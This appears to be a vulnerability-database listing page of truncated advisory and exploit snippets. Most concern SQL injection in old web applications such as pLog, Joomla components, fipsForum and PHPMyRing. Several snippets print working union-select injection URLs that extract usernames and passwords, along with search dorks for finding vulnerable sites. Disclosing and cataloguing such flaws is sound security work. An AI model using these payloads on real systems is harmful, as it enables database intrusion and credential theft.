Jokes Complete Website 2.1.3 (jokeid) SQL Injection Vulnerability

No description provided by source. || || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'&nbsp...

plog-sql.txt

pLog albumId Remote Sql İnj. DreamTurk / [email protected] Down : http://drupal.org/project/pblog http://localhost/index.php?op=ViewAlbum&albumId=-1//union//select//0,1,user,password,4,5,6,7,8 from plogusers/&blogId=1 4ever sqL L0v3r'Z Crew 2008 http://coderx.org Greatz : Cr@zyKing & BLasTer &...

Carbon Communities 2.4 - Multiple Vulnerabilities

Carbon Communities 2.4 - Multiple Vulnerabilities www.BugReport.ir AmnPardaz Security Research Team Title: Multiple Vulnerabilities in Carbon Communities forum. Vendor: www.carboncommunities.com Vulnerable Version: 2.4 and prior versions Exploit: Available Impact: High Fix: N/A Original Advisory:...

CVE-2008-1591

The pnVarPrepForStore function in PostNuke 0.764 and earlier skips input sanitization when magicquotesruntime is enabled, which allows remote attackers to conduct SQL injection attacks and execute arbitrary SQL commands via input associated with server variables, as demonstrated by the CLIENTIP...

joomlaalphacon-sql.txt

Joomla Component comalphacontent SQL Injection Vulnerability found by: cO2 Algeria Security Crew Contact: c02athotmail.de Website: http://www.dzw0rm.ch Greetings: to all hackers DZ ScriptName : 'Joomla' ModuleName : 'AlphaContent' Version : '2.5.8 ' DORK 1 : inurl: "comalphacontent" DORK 2 :...

ASPapp Knowledge Base Remote SQL Injection Vulnerability

No description provided by source. ....... ...... ..... .....CoRPITX ..... ..... ...... ....... -------------------------Turkey------------------------------ -----------------www.Hayalet-hack.com------------------------ -----------------www.xcorpitx-hack.com----------------------- ASPapp...

joomlafaq-sql.txt

allinurl :"index.php?option=faq task" index.php?option=faq&task=viewallfaq&catid=-9999999//union//select//concatusername,0x3a,password,0x3a,0//from//mosusers/...

CVE-2008-0752

SQL injection vulnerability in index.php in the Neogallery comneogallery 1.1 component for Joomla! allows remote attackers to execute arbitrary SQL commands via the catid parameter in a show action...

[SECURITY] [DSA 1459-1] New gforge packages fix SQL injection

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-1459-1 [email protected] http://www.debian.org/security/ Thijs Kinkhorst January 13, 2008 http://www.debian.org/security/faq -...

[Full-disclosure] *****SPAM***** New Wordpress 2.2.1 Vulnerabilities and the First Weblog XSS Worm

Hey Guys, this another one of my FD Releases! I found several critical Wordpress 2.2.1 Vulnerabilities, in detail explained here: http://mybeni.rootzilla.de/mybeNi/2007/wordpresszerodayvulnerabilityroundhousekickandwhyinearlywrotethefirstblogworm/ Plus I made - by using the Exploits I created...

WebChat Login.PHP SQL注入漏洞

WebChat是一款基于PHP的WEB应用程序。 WebChat不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL注入攻击获得敏感信息。 问题是由于'login.php'脚本对用户提交的'rid'参数缺少过滤，提交恶意SQL查询作为参数数据，可导致应用程序处理时更改原来的SQL逻辑，攻击者可以获得敏感信息或者操作数据库。 WebChat 0.78 目前没有解决方案提供： http://sourceforge.net/projects/webdev-webchat/...

W1L3D4 Philboard 0.2 (W1L3D4_bolum.asp forumid) SQL Injection Vuln

Exploit for unknown platform in category web applications ================================================================== W1L3D4 Philboard 0.2 W1L3D4bolum.asp forumid SQL Injection Vuln ================================================================== Discovered by: gsy & kerem125 script...

Fullaspsite ASP Hosting Site - listmain.asp?cat SQL Injection

Fullaspsite ASP Hosting Site - listmain.asp?cat SQL Injection source: https://www.securityfocus.com/bid/22545/info Fullaspsite Shop is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly...

CVE-2006-6799

SQL injection vulnerability in Cacti 0.8.6i and earlier, when registerargcargv is enabled, allows remote attackers to execute arbitrary SQL commands via the 1 second or 2 third arguments to cmd.php. NOTE: this issue can be leveraged to execute arbitrary commands since the SQL query results are...

fipsGallery 1.5 - index1.asp SQL Injection

fipsGallery 1.5 - index1.asp SQL Injection Title : fipsGallery = v1.5 index1.asp Remote SQL Injection Vulnerability Author : ajann Contact : : $$$ : 29 Euro http://target/path//index1.asp?what=artists&which=SQL Example:...

fipsForum 2.6 - 'default2.asp' SQL Injection

Title : fipsForum = v2.6 default2.asp Remote SQL Injection Vulnerability Author : ajann Contact : : http://target/path//default2.asp?kat=SQL Example: //default2.asp?kat=-1%20union%20select%200,pwadmin%20from%20config """"""""""""""""""""" ajann,Turkey ... Im not Hacker! milw0rm.com 2006-11-22...

PHPMyRing 4.2.1 - cherche.php SQL Injection

PHPMyRing 4.2.1 - cherche.php SQL Injection Title : PHP My Ring = 4.2.1 cherche.php Remote SQL Injection Vulnerability Author : ajann http://target/path/cherche.php?limite=-1%20union%20select%200,pseudo,0,mdp,0,0%20from%20webring/&mots=%20&where=description ajann,Turkey ... Im not Hacker!...

mybloggie214.txt

!/usr/bin/php -q -d shortopentag=on = 4.1 allowing subs / if $argctrackbackreply1, "Sorry, Trackback failed.. Reason : No title"; if!empty$REQUEST'url' $url=urldecode$REQUEST'url'; if validateurl$url==false $tback-trackbackreply1, "Sorry, Trackback failed.. Reason : URL not valid"; else $tback-tr...

sqlitewebadmin.txt

Discovered by Sirdarckcat from elhacker.net SQLiteWebAdmin http://sourceforge.net/projects/sqlitewebadmin ============================================== SQLiteWebAdmin is a simple script for managing a DataBase. It has several security bugs. ============================================== Remote...

vwarXSSSQL.txt

IHST Iran HackerZ Security Team WhiteHat Part ------------------------------------------------- Vendor : www.vwar.de vuln. Version = v1.5.0 and lower Credits : MFox Contact : [email protected] HomePage : www.hackerz.ir ------------------------------------------------- Proof of Concept...